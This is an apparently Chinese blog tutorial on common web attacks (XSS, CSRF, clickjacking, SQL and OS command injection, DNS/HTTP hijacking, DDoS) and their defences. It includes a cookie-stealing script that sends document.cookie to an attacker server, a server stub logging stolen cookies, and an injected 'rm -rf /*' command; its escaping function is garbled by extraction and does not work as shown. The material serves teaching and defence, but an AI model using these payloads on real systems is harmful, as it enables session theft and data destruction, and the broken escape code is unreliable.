常见web攻击

随着互联网的发达,各种WEB应用也变得越来越复杂,满足了用户的各种需求,但是随之而来的就是各种网络安全的问题。作为前端开发行业的我们也逃不开这个问题。所以今天我就简单聊一聊WEB前端安全以及如何防范。

1、XSS

Cross Site Scripting

跨站脚本攻击

XSS (Cross-Site Scripting),跨站脚本攻击,因为缩写和 CSS重叠,所以只能叫 XSS。跨站脚本攻击是指通过在存在安全漏洞的Web网站注册用户的浏览器内运行非法的非本站点HTML标签或JavaScript进行的一种攻击。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

XSS攻击分类

反射型 - url参数直接注入

// 普通 http://localhost:3000/?from=china // alert尝试 http://localhost:3000/?from= // 获取Cookie http://localhost:3000/?from= 引入了攻击者服务器中的一个js文件

hack.js var img = new Image() img.src='http://localhost:4000/img?c='+document.cookie

hack.js中请求了攻击者服务器并带上了被攻击者的cookie。然后攻击者服务器只需要:

app.use(async (ctx, next) => { log(‘attack…:’ + ctx.url) await next() })

就可以获取到被攻击者的cookie

// 短域名伪造 dwz.cn/ // 伪造cookie入侵 chrome document.cookie= xxx

存储型 - 存储到DB后读取时注入

存储型xss一般出现在评论中,如果评论提交的内容被直接塞入数据库例如: { _// 评论 _ _// 跨站脚本注入 _ 我来了

提交:

router.post(‘/updateText’, async (ctx) => { text = ctx.request.body.text res = await query(REPLACE INTO test.text (id,text) VALUES(1,'${text}');) ctx.redirect(‘/’) });

没有处理直接塞到数据库,那么当数据被返回前端页面时如果也没做处理,那么被注入的js代码就会被执行。访问到当前页面的用户虽然什么都没做,但是也会被攻击者获取到cookies。

反射型和存储型的区别

存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等

反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

XSS攻击的危害

Scripting能干啥就能干啥

  • 获取页面数据
  • 获取Cookies 劫持前端逻辑
  • 发送请求
  • 偷取网站的任意数据
  • 偷取用户的资料
  • 偷取用户的秘密和登录态
  • 欺骗用户

防范手段

ejs转义小知识 <% code %> 用于执行其中javascript代码 <%= code %> 会对code进行html转义 <%- code %> 将不会进行转义

HEAD

ctx.set(‘X-XSS-Protection’, 0) // 禁止XSS过滤 0 禁止XSS过滤。 1 启用XSS过滤(通常浏览器是默认的)。 如果检测到跨站脚本攻击,浏览器将清除页面(删除不安全的部 分)。 1;mode=block 启用XSS过滤。 如果检测到攻击,浏览器将不会清除页面,而是阻止页面加载。 1;report= (Chromium only) 启用XSS过滤。 如果检测到跨站脚本攻击,浏览器将清除页面并使用CSP report-uri 指令的功能发送违规 报告。

CSP

内容安全策略 (CSP, Content Security Policy) 是一个附加的安全层,用于帮助检测和缓解某些类型的攻 击,包括跨站脚本 (XSS) 和数据注入等攻击。 这些攻击可用于实现从数据窃取到网站破坏或作为恶意软 件分发版本等用途。 CSP 本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规 则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少 XSS 攻击。 developer.mozilla.org/zh-CN/docs/…

ctx.set(‘Content-Security-Policy’, “default-src ‘self’”)

// 只允许加载本站资源 Content-Security-Policy: default-src ‘self’ // 只允许加载 HTTPS 协议图片 Content-Security-Policy: img-src https://* // 不允许加载任何来源框架 Content-Security-Policy: child-src ‘none’

转义字符
黑名单

用户的输入永远不可信任的,最普遍的做法就是转义输入输出的内容,对于引号、尖括号、斜杠进行转义 function escape(str) { str = str.replace(/&/g, ‘&’) str = str.replace(/</g, ‘<’) str = str.replace(/>/g, ‘>’) str = str.replace(/"/g, ‘&quto;’) str = str.replace(/‘/g, ‘’’) str = str.replace(/`/g, ‘`’) str = str.replace(///g, ‘/’) return str } 富文本来说,显然不能通过上面的办法来转义所有字符,因为这样会把需要的格式也过滤掉。对于这种情 况,通常采用白名单过滤的办法,当然也可以通过黑名单过滤,但是考虑到需要过滤的标签和标签属性实在 太多,更加推荐使用白名单的方式。

白名单

const xss = require(‘xss’) let html = xss(‘

XSS Demo’) _// ->

XSS Demo

\_
HttpOnly

Cookie 这是预防XSS攻击窃取用户cookie最有效的防御手段。Web应 用程序在设置cookie时,将其属性设为 HttpOnly,就可以避免该网页的cookie被客户端恶意JavaScript窃取,保护用户cookie信息。 response.addHeader(“Set-Cookie”, “uid=112; Path=/; HttpOnly”)

2、CSRF

CSRF(Cross Site Request Forgery)

跨站请求伪造

是一种常见的Web攻击,它利用用户已登录的身份, 在用户毫不知情的情况下,以用户的名义完成非法操作。 用户已经登录了站点 A,并在本地记录了 cookie 在用户没有登出站点 A 的情况下(也就是 cookie 生效的情况下),访问了恶意攻击者提供的引诱危险站点 B (B 站点要求访问站点A)。 站点 A 没有做任何 CSRF 防御

假如用户没有退出网站a的情况下访问了如下网站:

网站的html可以随便写点内容,只要让用户觉得不突兀就行。实则攻击者已经使用用户的身份在网站a发表了一个评论(网站a没有做任何csrf的防御)。

CSRF攻击危害

  • 利用用户登录态
  • 用户不知情
  • 完成业务请求
  • 盗取用户资金(转账,消费)
  • 冒充用户发帖背锅
  • 损害网站声誉

防御

一、验证 HTTP Referer 字段

根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求必须来自于同一个网站,这种方法的显而易见的好处就是简单易行,网站的普通开发人员不需要操心 CSRF 的漏洞,只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统,不需要改变当前系统的任何已有代码和逻辑,没有风险,非常便捷。 然而,这种方法并非万无一失。Referer 的值是由浏览器提供的,虽然 HTTP 协议上有明确的要求,但是每个浏览器对于 Referer 的具体实现可能有差别,并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法,就是把安全性都依赖于第三方(即浏览器)来保障,从理论上来讲,这样并不安全。事实上,对于某些浏览器,比如 IE6 或 FF2,目前已经有一些方法可以篡改 Referer 值,从而进行 CSRF 攻击。即便是使用最新的浏览器,黑客无法篡改 Referer 值,这种方法仍然有问题。因为 Referer 值会记录下用户的访问来源,有些用户认为这样会侵犯到他们自己的隐私权,特别是有些组织担心 Referer 值会把组织内网中的某些信息泄露到外网中。因此,用户自己可以设置浏览器使其在发送请求时不再提供 Referer。当他们正常访问银行网站时,网站会因为请求没有 Referer 值而认为是 CSRF 攻击,拒绝合法用户的访问。

二、使用验证码

三、在请求地址中使用token并验证

CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

     该方法有一个缺点是难以保证 token 本身的安全。特别是在一些论坛之类支持用户自己发表内容的网站,黑客可以在上面发布自己个人网站的地址。由于系统也会在这个地址后面加上 token,黑客可以在自己的网站上得到这个 token,并马上就可以发动 CSRF 攻击。为了避免这一点,系统可以在添加 token 的时候增加一个判断,如果这个链接是链到自己本站的,就在后面添加 token,如果是通向外网则不加。

四、在http头中使用自定义属性并验证

这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。

    然而这种方法的局限性非常大。XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新,并非所有的请求都适合用这个类来发起,而且通过该类请求得到的页面不能被浏览器所记录下,从而进行前进,后退,刷新,收藏等操作,给用户带来不便。另外,对于没有进行 CSRF 防护的遗留系统来说,要采用这种方法来进行防护,要把所有请求都改为 XMLHttpRequest 请求,这样几乎是要重写整个网站,这代价无疑是不能接受的。

3、点击劫持 - clickjacking

点击劫持是一种视觉欺骗的攻击手段。攻击者将需要攻击的网站通过 iframe 嵌套的方式嵌入自己的网页中, 并将 iframe 设置为透明,在页面中透出一个按钮诱导用户点击。

response.addHeader(“Set-Cookie”, “uid=112; Path=/; HttpOnly”)

登录 http://localhost:4000/csrf.html

app.use(async (ctx, next) => { await next() const referer = ctx.request.header.referer console.log('Referer:', referer) })

// 登录 http://localhost:4000/clickjacking.html

防御

X-FRAME-OPTIONS X-FRAME-OPTIONS 是一个 HTTP 响应头,在现代浏览器有一个很好的支持。这个 HTTP 响应头 就是为了防御 用 iframe 嵌套的点击劫持攻击。 该响应头有三个值可选,分别是 DENY,表示页面不允许通过 iframe 的方式展示 SAMEORIGIN,表示页面可以在相同域名下通过 iframe 的方式展示 ALLOW-FROM,表示页面可以在指定来源的 iframe 中展示JS方式。 以上代码的作用就是当通过 iframe 的方式加载页面时,攻击者的网页直接不显示所有内容了。

4、SQL注入

SQL注入一般是服务端对于用户的输入未做校验就带入到数据库查询中导致的。

注入类型

数字型 数字型注入意味着,当输入的参数是整型时,如:ID,年龄,页码等。 例如URL为 xxx.com/test.php?id=5 可以猜测SQL语句为:select * from xxtable where id=5 数字型注入多见于输入弱类型语言,例如:参数id=5,js会自动来推导变量id的数据类型为int类型,那么id=5 and 1=1 则会推导为String类型,这是弱类型语言的特征,而Java,c#这类强类型语言,如果试图把一个字符串转化为int类型,处理不当就会抛出异常,无法继续执行。这方面强类型语言比弱类型语言有先天优势。 ** 字符型 数字型与字符型注入最大的区别在于,数字型不需要单引号闭合,而字符型则必须单引号闭合。 select * from table where username=‘admin’

经典案例:万能密码。

防御

所有的查询语句建议使用数据库提供的参数化查询接口**,参数化的语句使用参数而不是将用户输入变量嵌 入到 SQL 语句中,即不要直接拼接 SQL 语句。 例如 Node.js 中的 mysqljs 库的 query 方法中的 ? 占位参 数。

5、OS命令注入

OS命令注入和SQL注入差不多,只不过SQL注入是针对数据库的,而OS命令注入是针对操作系统的。 OS命令注入攻击指通过web应用,执行非法的操作系统命令达到攻击的目的。只要在能调用shell函数的地方就有存在被攻击的风险。

// 以nodeJS为例,加入在接口中需要从github下载指定的repo const exec = require('mz/child_process').exec; let params = {/*用户输入的参数*/}; exec(git clone ${params.repo}/some/path);

如果传入的参数是会怎样 https://github.com/xx/xx.git && rm -rf /* &&

6、请求劫持

DNS劫持

顾名思义,DNS服务器(DNS解析各个步骤)被篡改,修改了域名解析的结果,使得访问到的不是预期的ip 浏览器缓存-本地hosts-路由器缓存-本地域名解析服务系统-…-根名称服务器

HTTP劫持

运营商劫持,此时大概只能升级HTTPS了

7、DDOS

www.ruanyifeng.com/blog/2018/0… 阮一峰 distributed denial of service DDOS 不是一种攻击,而是一大类攻击的总称。它有几十种类型,新的攻击方法还在不断发明出来。网站运行的各 个环节,都可以是攻击目标。只要把一个环节攻破,使得整个流程跑不起来,就达到了瘫痪服务的目的。

DDOS常见攻击方式
  • SYN Flood 此攻击通过向目标发送具有欺骗性源IP地址的大量TCP“初始连接请求”SYN数据包来利用TCP握手。目标机器 响应每个连接请求,然后等待握手中的最后一步,这一步从未发生过,耗尽了进程中的目标资源。SYN Flood的基本原理SYN Flood是比较流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。 要明白这种攻击的基本原理,还是要从TCP连接建立的过程开始说起:大家都知道,TCP与UDP不同,它是基于连接的,也就是说:为了在服务端和客户端之间传送TCP数据,必须先建立一个虚拟电路,也就是TCP连接,建立TCP连接的标准过程是这样的:

首先,请求端(客户端)发送一个包含SYN标志的TCP报文,SYN即同步(Synchronize),同步报文会指明客户端使用的端口以及TCP连接的初始序号; 第二步,服务器在收到客户端的SYN报文后,将返回一个SYN+ACK的报文,表示客户端的请求被接受,同时TCP序号被加一,ACK即确认(Acknowledgement)。 第三步,客户端也返回一个确认报文ACK给服务器端,同样TCP序列号被加一,到此一个TCP连接完成。 以上的连接过程在TCP协议中被称为三次握手(Three-way Handshake)。问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃—即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常之小),此时从正常客户的角度看来,服务器失去响应,这种情况我们称作:服务器端受到了SYN Flood攻击(SYN洪水攻击)

  • HTTP Flood

    此攻击类似于同时在多个不同计算机上反复按Web浏览器中的刷新 - 大量HTTP请求泛滥服务器,导致拒绝服 务。

防御手段
    • 备份网站 备份网站不一定是全功能的,如果能做到全静态浏览,就能满足需求。最低限度应该可以显示公告,告诉用户,网 站出了问题,正在全力抢修。
    • 靠谱的运营商
    • 带宽扩容 + CDN 提高犯罪成本

总结

1.谨慎用户输入信息,进行输入检查(客户端和服务端同时检查)
2.在变量输出到HTML页面时,都应该进行编码或转义
3.该用验证码的时候一定要添上
4.尽量在重要请求上添加Token参数,注意Token要足够随机,用足够安全的随机数生成算法

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值